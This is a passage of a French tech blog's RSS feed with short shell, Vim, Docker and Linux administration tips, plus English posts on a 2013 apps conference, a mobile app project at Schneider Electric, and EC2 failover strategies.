$ ping -c1 !^ 
$ ping -c1 www.google.com
PING www.google.com ...
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie Historique Shell</strong></p>
<p>Si vous voulez réutiliser le premier argument de votre dernière commande pour votre nouvelle commande vous pouvez utiliser cette commande:</p>
<pre tabindex="0"><code>!^
</code></pre><p>Exemple:</p>
<pre tabindex="0"><code>$ host www.google.com 8.8.8.8
Using domain server:
Name: 8.8.8.8
Address: 8.8.8.8#53
Aliases: 

www.google.com has address ...
www.google.com has IPv6 address ...

# Envoyer 1 seul ping
$ ping -c1 !^ 
$ ping -c1 www.google.com
PING www.google.com ...
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Rapidement changer l&#39;extension d&#39;un fichier</title>
            <link>https://leandeep.com/rapidement-changer-lextension-dun-fichier/</link>
            <pubDate>Tue, 06 May 2014 22:14:00 +0000</pubDate>
            
            <guid>https://leandeep.com/rapidement-changer-lextension-dun-fichier/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie fichiers et répertoires:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour rapidement renommer un fichier avec une nouvelle extension, on peut utiliser les &lt;em&gt;brackets&lt;/em&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ls fichier*
fichier.rtf

$ mv fichier.{rtf,txt}
$ ls fichier*
fichier.txt
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Cette commande permet également d&amp;rsquo;ajouter une extension à un fichier s&amp;rsquo;il n&amp;rsquo;y en a pas.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ls file*
file
$ mv file{,.docx}
$ ls file*
file.docx
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie fichiers et répertoires:</strong></p>
<p>Pour rapidement renommer un fichier avec une nouvelle extension, on peut utiliser les <em>brackets</em>.</p>
<br/>
<p>Exemple:</p>
<pre tabindex="0"><code>$ ls fichier*
fichier.rtf

$ mv fichier.{rtf,txt}
$ ls fichier*
fichier.txt
</code></pre><br/>
<p>Cette commande permet également d&rsquo;ajouter une extension à un fichier s&rsquo;il n&rsquo;y en a pas.</p>
<pre tabindex="0"><code>$ ls file*
file
$ mv file{,.docx}
$ ls file*
file.docx
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Rapidement backuper un fichier</title>
            <link>https://leandeep.com/rapidement-backuper-un-fichier/</link>
            <pubDate>Sun, 04 May 2014 23:05:00 +0000</pubDate>
            
            <guid>https://leandeep.com/rapidement-backuper-un-fichier/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie fichiers et répertoires:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vous êtes sur un serveur et vous voulez rapidement créer le backup d&amp;rsquo;une fichier. Les brackets permettent de le faire. Elles permettent de créer plusieurs arguments quand un argument est prévu par une commande.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ cp file{,.bak}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Exemples:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ sudo cp ~/.ssh/id_rsa.pub{,.bak}
$ ls ~/.ssh/id_rsa.pub
~/.ssh/id_rsa.pub   ~/.ssh/id_rsa.pub.bak   ...

$ mkdir -p ~/Dev/{frontend,backend}
$ ls ~/Dev/
frontend   backend

$ echo 192.168.0.{0..4}
192.168.0.0   192.168.0.1   192.168.0.2   192.168.0.3   192.168.0.4
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie fichiers et répertoires:</strong></p>
<p>Vous êtes sur un serveur et vous voulez rapidement créer le backup d&rsquo;une fichier. Les brackets permettent de le faire. Elles permettent de créer plusieurs arguments quand un argument est prévu par une commande.</p>
<pre tabindex="0"><code>$ cp file{,.bak}
</code></pre><br/>
<p>Exemples:</p>
<pre tabindex="0"><code>$ sudo cp ~/.ssh/id_rsa.pub{,.bak}
$ ls ~/.ssh/id_rsa.pub
~/.ssh/id_rsa.pub   ~/.ssh/id_rsa.pub.bak   ...

$ mkdir -p ~/Dev/{frontend,backend}
$ ls ~/Dev/
frontend   backend

$ echo 192.168.0.{0..4}
192.168.0.0   192.168.0.1   192.168.0.2   192.168.0.3   192.168.0.4
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Monter automatiquement les disques au démarrage du système</title>
            <link>https://leandeep.com/monter-automatiquement-les-disques-au-d%C3%A9marrage-du-syst%C3%A8me/</link>
            <pubDate>Fri, 02 May 2014 22:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/monter-automatiquement-les-disques-au-d%C3%A9marrage-du-syst%C3%A8me/</guid>
            <description>&lt;h2 id=&#34;afficher-proprement-les-points-de-montage-du-système&#34;&gt;Afficher proprement les points de montage du système&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Dans la catégorie Administration Système:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ mount | column -t
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Pour filtrer sur un type de système de fichier, vous pouvez utiliser la commande suivante.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Exemple pour un filesystem apfs
$ mount -t apfs | column -t
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;monter-automatiquement-un-disk-interne&#34;&gt;Monter automatiquement un disk interne&lt;/h2&gt;
&lt;p&gt;Créer vos répertoire de montage puis monter manuellement une première fois vos disques:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cd ~
mkdir hdd1_mount
sudo mount /dev/sda1 ~/hdd1_mount
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Le disque va être monté. Ouvrez le fichier /etc/mtab et copiez la dernière ligne.
&lt;br/&gt;
&lt;br/&gt;
Exemple:
&lt;br/&gt;
&lt;code&gt;/dev/sda1 /home/olivier/hdd1_mount ext4 rw,relatime,data=ordered 0 0&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="afficher-proprement-les-points-de-montage-du-système">Afficher proprement les points de montage du système</h2>
<p><strong>Dans la catégorie Administration Système:</strong></p>
<pre tabindex="0"><code>$ mount | column -t
</code></pre><br/>
<p>Pour filtrer sur un type de système de fichier, vous pouvez utiliser la commande suivante.</p>
<pre tabindex="0"><code># Exemple pour un filesystem apfs
$ mount -t apfs | column -t
</code></pre><br/>
<h2 id="monter-automatiquement-un-disk-interne">Monter automatiquement un disk interne</h2>
<p>Créer vos répertoire de montage puis monter manuellement une première fois vos disques:</p>
<pre tabindex="0"><code>cd ~
mkdir hdd1_mount
sudo mount /dev/sda1 ~/hdd1_mount
</code></pre><p>Le disque va être monté. Ouvrez le fichier /etc/mtab et copiez la dernière ligne.
<br/>
<br/>
Exemple:
<br/>
<code>/dev/sda1 /home/olivier/hdd1_mount ext4 rw,relatime,data=ordered 0 0</code></p>
<p>Editez ensuite le fichier /etc/fstab et ajouter en bas du fichoer la ligne que vous avez précédemment copié.</p>
<br/>
<h2 id="monter-automatiquement-un-disque-ou-clé-usb">Monter automatiquement un disque ou clé usb</h2>
<p>Installez simplement le package suivant:</p>
<pre tabindex="0"><code>sudo apt-get install usbmount
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Utiliser une boucle dans le terminal</title>
            <link>https://leandeep.com/utiliser-une-boucle-dans-le-terminal/</link>
            <pubDate>Thu, 01 May 2014 22:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/utiliser-une-boucle-dans-le-terminal/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie Scripts Shell:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si vous voulez exécuter plusieurs fois les mêmes actions sur une liste d&amp;rsquo;éléments, vous pouvez utiliser une boucle directement dans le terminal sans avoir besoin de script.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;for VAR in LIST
&amp;gt; do
&amp;gt; # utilisez $VAR
&amp;gt; done
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ for USER in olivier bob bill
&amp;gt; do
&amp;gt;  sudo passwd -l $USER
&amp;gt;  logger -t bad-boy $USER
&amp;gt;  done
Locking password for user olivier.
passwd: Success 
Locking password for user bob.
passwd: Success
Locking password for user bill.
passwd: Success
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Les commandes ci-dessus peuvent être écrites sur une ligne:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie Scripts Shell:</strong></p>
<p>Si vous voulez exécuter plusieurs fois les mêmes actions sur une liste d&rsquo;éléments, vous pouvez utiliser une boucle directement dans le terminal sans avoir besoin de script.</p>
<pre tabindex="0"><code>for VAR in LIST
&gt; do
&gt; # utilisez $VAR
&gt; done
</code></pre><br/>
<p>Exemple:</p>
<pre tabindex="0"><code>$ for USER in olivier bob bill
&gt; do
&gt;  sudo passwd -l $USER
&gt;  logger -t bad-boy $USER
&gt;  done
Locking password for user olivier.
passwd: Success 
Locking password for user bob.
passwd: Success
Locking password for user bill.
passwd: Success
</code></pre><br/>
<p>Les commandes ci-dessus peuvent être écrites sur une ligne:</p>
<pre tabindex="0"><code>for USER in olivier bob bill; do sudo passwd -l $USER; logger -t bad-boy $USER; done
</code></pre><br/>
<p>Autre exemple plus utile: convertir tous les mp4 d&rsquo;un dossier en mp3:</p>
<pre tabindex="0"><code>for FILE in *\ *
do
ffmpeg -f mp4 -i ${FILE} -f mp3 &#34;${FILE%.mp4}.mp3&#34;
done
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Créer une variable d&#39;environnement multiligne</title>
            <link>https://leandeep.com/cr%C3%A9er-une-variable-denvironnement-multiligne/</link>
            <pubDate>Sat, 08 Feb 2014 23:31:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-une-variable-denvironnement-multiligne/</guid>
            <description>&lt;p&gt;Si vous voulez définir une variable d&amp;rsquo;environnement qui comporte plusieurs lignes dans votre &lt;code&gt;.zshrc&lt;/code&gt;, vous pouvez utiliser le pattern suivant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;VAR1=$(cat &amp;lt;&amp;lt;EOF
ligne 1
ligne 2
ligne 3
EOF
)
export VOTRE_VARIABLE=$VAR1
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Ou directement utiliser:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export VOTRE_VARIABLE=$(cat &amp;lt;&amp;lt;EOF
ligne 1
ligne 2
ligne 3
EOF
)
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Si vous voulez définir une variable d&rsquo;environnement qui comporte plusieurs lignes dans votre <code>.zshrc</code>, vous pouvez utiliser le pattern suivant:</p>
<pre tabindex="0"><code>VAR1=$(cat &lt;&lt;EOF
ligne 1
ligne 2
ligne 3
EOF
)
export VOTRE_VARIABLE=$VAR1
</code></pre><br/>
<p>Ou directement utiliser:</p>
<pre tabindex="0"><code>export VOTRE_VARIABLE=$(cat &lt;&lt;EOF
ligne 1
ligne 2
ligne 3
EOF
)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Ce que je retiens de la conférence AppsWorld London (22 et 23 octobre 2013)</title>
            <link>https://leandeep.com/ce-que-je-retiens-de-la-conf%C3%A9rence-appsworld-london-22-et-23-octobre-2013/</link>
            <pubDate>Thu, 24 Oct 2013 14:04:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ce-que-je-retiens-de-la-conf%C3%A9rence-appsworld-london-22-et-23-octobre-2013/</guid>
            <description>&lt;p&gt;I attended the AppsWorld on October 22 and 23, 2013.&lt;/p&gt;
&lt;p&gt;Appsworld was 2 days full of discussions around new upcoming platforms (TV apps, Automotive apps with General Motors, PSA Peugeot Citroen, new Mobile OSs…), new technologies, new tools for developers, new services developed by third party companies and new ways to monetize your growing business.&lt;/p&gt;
&lt;p&gt;Many interesting topics where discussed but in this summary I will focus on &lt;strong&gt;how majors companies are facing the digitalization of the world&lt;/strong&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I attended the AppsWorld on October 22 and 23, 2013.</p>
<p>Appsworld was 2 days full of discussions around new upcoming platforms (TV apps, Automotive apps with General Motors, PSA Peugeot Citroen, new Mobile OSs…), new technologies, new tools for developers, new services developed by third party companies and new ways to monetize your growing business.</p>
<p>Many interesting topics where discussed but in this summary I will focus on <strong>how majors companies are facing the digitalization of the world</strong>.</p>
<p>I was really impressed by the presentation made by Kevin Flowers (Vice President and CTO of Coca Cola Company). As he said “The shelf is moving. How do we access the shelf ?”. To answer this question they did the 5 points below:</p>
<ul>
<li>API Management Strategy &ndash;&gt; Key insight !</li>
<li>Leverage existing Integrations</li>
<li>Security Partnership</li>
<li>Set API Achievement Goal</li>
<li>Clear Individual Objective</li>
</ul>
<p>In Coca Cola Company they developed their first API. It simplified their development, accelerated the program, created more demand, demonstrated the possible and it opens data for outsourced development teams.</p>
<p>Kevin Flowers: “Hackathons are not only for Google”.
Indeed they also organized Hackathons not only for developers but also for non-technical persons with brilliant ideas.</p>
<p>The experience was insightful:</p>
<ul>
<li>It increases the innovation, invention and creativity in your company.</li>
<li>Mix skills. Cross functional teams</li>
<li>HUGE employee engagement</li>
</ul>
<p>The conference was also focused on HTML5 and if this is the right choice for large companies. The answer is not surprising: yes and no! On the one hand, yes because HTML5 is everywhere and the upcoming platforms are using it. We should not see the web as a platform anymore but more like a real OS. It allows cross-platforming especially if you develop responsive web app. On the other hand no because we can have performance leaks, more complexity in some case&hellip;</p>
<p>The consortium finally found a compromise with hybrid apps (not especially with Phonegap but with homemade solutions for IOS and Android to keep great performances).</p>
<p><img src="/images/IMG_2695.JPG" alt="image"></p>
<p>*Steeve Wozniak comme speaker :) *</p>
]]></content>
        </item>
        
        <item>
            <title>Effacer toutes les images et containers Docker</title>
            <link>https://leandeep.com/effacer-toutes-les-images-et-containers-docker/</link>
            <pubDate>Sun, 20 Oct 2013 22:03:00 +0000</pubDate>
            
            <guid>https://leandeep.com/effacer-toutes-les-images-et-containers-docker/</guid>
            <description>&lt;h2 id=&#34;effacer-tous-les-containers&#34;&gt;Effacer tous les containers&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker rm $(docker ps -a -q)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;effacer-toutes-les-images&#34;&gt;Effacer toutes les images&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker rmi $(docker images -q)
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="effacer-tous-les-containers">Effacer tous les containers</h2>
<pre tabindex="0"><code>docker rm $(docker ps -a -q)
</code></pre><h2 id="effacer-toutes-les-images">Effacer toutes les images</h2>
<pre tabindex="0"><code>docker rmi $(docker images -q)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>A startup inside a giant company - Intrapreneurship</title>
            <link>https://leandeep.com/a-startup-inside-a-giant-company-intrapreneurship/</link>
            <pubDate>Thu, 12 Sep 2013 18:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/a-startup-inside-a-giant-company-intrapreneurship/</guid>
            <description>&lt;h2 id=&#34;facility-logbook&#34;&gt;Facility Logbook&lt;/h2&gt;
&lt;p&gt;I returned from the United States on March 15, 2013, and had the opportunity to secure a position as an Application Architect for Web and Mobile Technologies at Schneider Electric France.&lt;/p&gt;
&lt;p&gt;As a reminder, Schneider Electric operates in more than 100 countries, generates around €23 billion in revenue, and employs over 135,000 people. The company is so large that, in certain fast-moving segments, internal &amp;ldquo;startup-like&amp;rdquo; teams are created to move more quickly.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="facility-logbook">Facility Logbook</h2>
<p>I returned from the United States on March 15, 2013, and had the opportunity to secure a position as an Application Architect for Web and Mobile Technologies at Schneider Electric France.</p>
<p>As a reminder, Schneider Electric operates in more than 100 countries, generates around €23 billion in revenue, and employs over 135,000 people. The company is so large that, in certain fast-moving segments, internal &ldquo;startup-like&rdquo; teams are created to move more quickly.</p>
<p>I&rsquo;m fortunate to be the lead architect on a very innovative project called Facility Logbook. The idea is to enable facility managers to manage all the facilities they are responsible for directly from their smartphones.</p>
<p>This is a major project for Schneider Electric, as it helps generate high-quality leads, track equipment already deployed in the field (including assets that may have been lost or whose location is unknown), and unlock new business opportunities. There are many other features I can&rsquo;t disclose that also contribute to Schneider&rsquo;s business.</p>
<br/>
<h2 id="what-im-bringing-to-the-project">What I&rsquo;m bringing to the project</h2>
<p>I was selected for this project because of my expertise in cross-platform mobile application development. I built my reputation in Boston by constantly exploring and promoting new technologies I discovered and tested at hackathons and meetups, as well as through my work on mobile strategy and technology choices.</p>
<p>I helped the group&rsquo;s Strategy &amp; Innovation team accelerate on mobile initiatives by contributing to the acquisition of a mobile agency. Acquiring expertise is often faster than building it from scratch.</p>
<p>In short, my role is to leverage hybrid cross-platform technologies to maintain a single codebase capable of targeting all devices in an ATAWAD (Any Time, Anywhere, Any Device) approach for the development of Facility Logbook. I will be responsible for defining the architecture of both the mobile application and the backend, and for collaborating with other Schneider Electric teams to integrate the new application into the existing ecosystem of production and commercially available applications. Everything will be developed in JavaScript (front/mobile + backend). I will not only design the architecture but also develop. Everything will be hosted on AWS. In our office we only have one single Mac OSX server to build and deploy our iOS app on the AppStore.</p>
<br/>
<p>Here is the result after 6 months of intense development. You can scan QR code, use the flashlight and it works offline because facility manager operates sometimes in basements. Even though it&rsquo;s developed in JavaScript there is no limitation. It&rsquo;s a hybrid app with native bridges (Phonegap/ Cordova).</p>
<p><img src="/images/facility-logbook.jpg" alt="image"></p>
<br/>
<p>Finally the facility manager becomes a facility hero.</p>
<p><img src="/images/hero.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Rapidement remplacer des chaines de caractères dans Vim</title>
            <link>https://leandeep.com/rapidement-remplacer-des-chaines-de-caract%C3%A8res-dans-vim/</link>
            <pubDate>Wed, 24 Jul 2013 23:14:00 +0000</pubDate>
            
            <guid>https://leandeep.com/rapidement-remplacer-des-chaines-de-caract%C3%A8res-dans-vim/</guid>
            <description>&lt;h2 id=&#34;raccourci-clavier&#34;&gt;Raccourci clavier&lt;/h2&gt;
&lt;p&gt;Il est possible d&amp;rsquo;ajouter un raccourci clavier pour rapidement remplacer une chaine de caractère sélectionnée en mode visuel.&lt;/p&gt;
&lt;p&gt;Editer le fichier ~/.vimrc et ajouter la ligne suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;vnoremap &amp;lt;C-r&amp;gt; &amp;#34;hy:%s/&amp;lt;C-r&amp;gt;h//gc&amp;lt;left&amp;gt;&amp;lt;left&amp;gt;&amp;lt;left&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;En pressant &lt;code&gt;ctrl + r&lt;/code&gt; en mode visuel, un &lt;em&gt;prompt&lt;/em&gt; va s&amp;rsquo;afficher pour entrer le texte qui remplacer l&amp;rsquo;ancien. Appuyer sur &lt;code&gt;enter&lt;/code&gt; et confirmer ou annuler chaque changement par &lt;code&gt;y&lt;/code&gt; ou &lt;code&gt;n&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si vous ne voulez pas confirmer les changements vous pouvez aussi supprimer le &lt;code&gt;c&lt;/code&gt; à la fin de la commande VIM &lt;code&gt;:%s/old_text/new_text/gc&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="raccourci-clavier">Raccourci clavier</h2>
<p>Il est possible d&rsquo;ajouter un raccourci clavier pour rapidement remplacer une chaine de caractère sélectionnée en mode visuel.</p>
<p>Editer le fichier ~/.vimrc et ajouter la ligne suivante:</p>
<pre tabindex="0"><code>vnoremap &lt;C-r&gt; &#34;hy:%s/&lt;C-r&gt;h//gc&lt;left&gt;&lt;left&gt;&lt;left&gt;
</code></pre><p>En pressant <code>ctrl + r</code> en mode visuel, un <em>prompt</em> va s&rsquo;afficher pour entrer le texte qui remplacer l&rsquo;ancien. Appuyer sur <code>enter</code> et confirmer ou annuler chaque changement par <code>y</code> ou <code>n</code>.</p>
<blockquote>
<p>Si vous ne voulez pas confirmer les changements vous pouvez aussi supprimer le <code>c</code> à la fin de la commande VIM <code>:%s/old_text/new_text/gc</code></p></blockquote>
<br/>
<h2 id="sélection-verticale">Sélection verticale</h2>
<p>Sélectionner la première colonne et entrer cTEXT_REMPLACEMENT<!-- raw HTML omitted -->.</p>
<p>Example:</p>
<pre tabindex="0"><code>[a]aa
[b]bb
[c]cc
[d]dd

c123&lt;Esc&gt;

123aa
123bb
123cc
123dd
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Exécuter une action sur tous les fichiers ayant un pattern dans leur nom</title>
            <link>https://leandeep.com/ex%C3%A9cuter-une-action-sur-tous-les-fichiers-ayant-un-pattern-dans-leur-nom/</link>
            <pubDate>Tue, 23 Jul 2013 15:46:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ex%C3%A9cuter-une-action-sur-tous-les-fichiers-ayant-un-pattern-dans-leur-nom/</guid>
            <description>&lt;p&gt;Tout est dans le titre. Il s&amp;rsquo;agit d&amp;rsquo;un &lt;em&gt;quick tip&lt;/em&gt; qui montre comment exécuter une command linux sur les fichiers qui respectent un pattern particulier:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;find . -name &amp;#39;*.png&amp;#39; -exec echo {} \;
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Tout est dans le titre. Il s&rsquo;agit d&rsquo;un <em>quick tip</em> qui montre comment exécuter une command linux sur les fichiers qui respectent un pattern particulier:</p>
<pre tabindex="0"><code>find . -name &#39;*.png&#39; -exec echo {} \;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Convertir les vidéos d&#39;un dossier en mp3</title>
            <link>https://leandeep.com/convertir-les-vid%C3%A9os-dun-dossier-en-mp3/</link>
            <pubDate>Mon, 13 May 2013 23:03:00 +0000</pubDate>
            
            <guid>https://leandeep.com/convertir-les-vid%C3%A9os-dun-dossier-en-mp3/</guid>
            <description>&lt;p&gt;Convertir les .mp4 d&amp;rsquo;un dossier en MP3:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir outputs
for f in *.mp4; do ffmpeg -i &amp;#34;$f&amp;#34; -c:a libmp3lame &amp;#34;outputs/${f%.mp4}.mp3&amp;#34;; done
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Convertir les .m4a, .mov et .flac d&amp;rsquo;un dossier en MP3:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir outputs
for f in *.{m4a,mov,flac}; do ffmpeg -i &amp;#34;$f&amp;#34; -c:a libmp3lame &amp;#34;outputs/${f%.*}.mp3&amp;#34;; done
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Convertir toutes les vidéos d&amp;rsquo;un dossier en MP3:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir outputs
for f in *; do ffmpeg -i &amp;#34;$f&amp;#34; -c:a libmp3lame &amp;#34;outputs/${f%.*}.mp3&amp;#34;; done
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Convertir les .mp4 d&rsquo;un dossier en MP3:</p>
<pre tabindex="0"><code>mkdir outputs
for f in *.mp4; do ffmpeg -i &#34;$f&#34; -c:a libmp3lame &#34;outputs/${f%.mp4}.mp3&#34;; done
</code></pre><p>Convertir les .m4a, .mov et .flac d&rsquo;un dossier en MP3:</p>
<pre tabindex="0"><code>mkdir outputs
for f in *.{m4a,mov,flac}; do ffmpeg -i &#34;$f&#34; -c:a libmp3lame &#34;outputs/${f%.*}.mp3&#34;; done
</code></pre><p>Convertir toutes les vidéos d&rsquo;un dossier en MP3:</p>
<pre tabindex="0"><code>mkdir outputs
for f in *; do ffmpeg -i &#34;$f&#34; -c:a libmp3lame &#34;outputs/${f%.*}.mp3&#34;; done
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Démarrer un PC à distance à travers un VPN</title>
            <link>https://leandeep.com/d%C3%A9marrer-un-pc-%C3%A0-distance-%C3%A0-travers-un-vpn/</link>
            <pubDate>Mon, 18 Feb 2013 08:24:00 +0000</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9marrer-un-pc-%C3%A0-distance-%C3%A0-travers-un-vpn/</guid>
            <description>&lt;p&gt;Pour démarrer un PC à distance via VPN, c&amp;rsquo;est assez simple.&lt;/p&gt;
&lt;p&gt;Il faut configurer le BIOS de la machine pour qu&amp;rsquo;elle accepte le boot via Wake-On-Lan. En général, c&amp;rsquo;est disponible sur tous les PCs.&lt;/p&gt;
&lt;p&gt;Ensuite il faut un VPN. Dans mon cas j&amp;rsquo;utilise un OpenVPN Bridge pour avoir accès aux machines grâce aux IPs locales que je connais déjà.&lt;/p&gt;
&lt;p&gt;Ensuite si mon PC distant est éteint il me suffit d&amp;rsquo;exécuter la commande suivante qui va &lt;em&gt;broadcaster&lt;/em&gt; un paquet &amp;ldquo;magique&amp;rdquo; sur tout mon réseau domestique.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour démarrer un PC à distance via VPN, c&rsquo;est assez simple.</p>
<p>Il faut configurer le BIOS de la machine pour qu&rsquo;elle accepte le boot via Wake-On-Lan. En général, c&rsquo;est disponible sur tous les PCs.</p>
<p>Ensuite il faut un VPN. Dans mon cas j&rsquo;utilise un OpenVPN Bridge pour avoir accès aux machines grâce aux IPs locales que je connais déjà.</p>
<p>Ensuite si mon PC distant est éteint il me suffit d&rsquo;exécuter la commande suivante qui va <em>broadcaster</em> un paquet &ldquo;magique&rdquo; sur tout mon réseau domestique.</p>
<pre tabindex="0"><code>wakeonlan -i ip_broadcast -p 1234 adresse_mac_de_mon_pc

# ip_broadcast en général 192.168.1.255 ou 192.168.0.255 avec nos box ADSL classiques
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Failover strategies avec Amazon EC2</title>
            <link>https://leandeep.com/failover-strategies-avec-amazon-ec2/</link>
            <pubDate>Sat, 26 Jan 2013 19:02:00 +0000</pubDate>
            
            <guid>https://leandeep.com/failover-strategies-avec-amazon-ec2/</guid>
            <description>&lt;h2 id=&#34;downtime--10-minutes&#34;&gt;downtime &amp;lt; 10 minutes&lt;/h2&gt;
&lt;p&gt;Pour avoir un downtime &amp;lt; 10 minutes il y a cette première stratégie:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/downtime-10-min.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;On crée un clone de l&amp;rsquo;environnement de production prêt à être lancé à n&amp;rsquo;importe quel moment sur une autre zone de disponibilité si l&amp;rsquo;environnement de production venait à crasher. L&amp;rsquo;outil Cloudformation fournit gratuitement par AWS peut peut aider à configurer plusieurs environnements.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;un-peu-de-redondance&#34;&gt;Un peu de redondance&lt;/h2&gt;
&lt;p&gt;Remarque: Transférer des données entre instances dans la même zone de disponibilité est gratuit. Par contre, entre 2 zones différentes le coût est de $0.01 par gigabyte.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="downtime--10-minutes">downtime &lt; 10 minutes</h2>
<p>Pour avoir un downtime &lt; 10 minutes il y a cette première stratégie:</p>
<p><img src="/images/downtime-10-min.png" alt="image"></p>
<p>On crée un clone de l&rsquo;environnement de production prêt à être lancé à n&rsquo;importe quel moment sur une autre zone de disponibilité si l&rsquo;environnement de production venait à crasher. L&rsquo;outil Cloudformation fournit gratuitement par AWS peut peut aider à configurer plusieurs environnements.</p>
<br/>
<h2 id="un-peu-de-redondance">Un peu de redondance</h2>
<p>Remarque: Transférer des données entre instances dans la même zone de disponibilité est gratuit. Par contre, entre 2 zones différentes le coût est de $0.01 par gigabyte.</p>
<p><img src="/images/un-peu-redondance.png" alt="image"></p>
<br/>
<h2 id="redondance-totale">Redondance totale</h2>
<p><img src="/images/redondance-totale.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Ma présentation des technologies cross-platforms pour le Web &amp; Mobile</title>
            <link>https://leandeep.com/ma-pr%C3%A9sentation-des-technologies-cross-platforms-pour-le-web-mobile/</link>
            <pubDate>Tue, 22 Jan 2013 21:55:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ma-pr%C3%A9sentation-des-technologies-cross-platforms-pour-le-web-mobile/</guid>
            <description>&lt;p&gt;Voici une présentation que j&amp;rsquo;ai donné dans une soirée dédiée au développement Web/ Mobile sur Boston le 21 janvier 2013. J&amp;rsquo;ai pu présenter mon retour d&amp;rsquo;expérience sur le développement d&amp;rsquo;application hybrides avec Phonegap. J&amp;rsquo;ai en effet commencé à l&amp;rsquo;utiliser en 2009 pour développer une application pour iOS et Blackberry Torch via la même codebase.&lt;/p&gt;

    &lt;iframe
        src=&#34;//www.slideshare.net/slideshow/embed_code/key/8G7vWvZyxQ076f&#34;
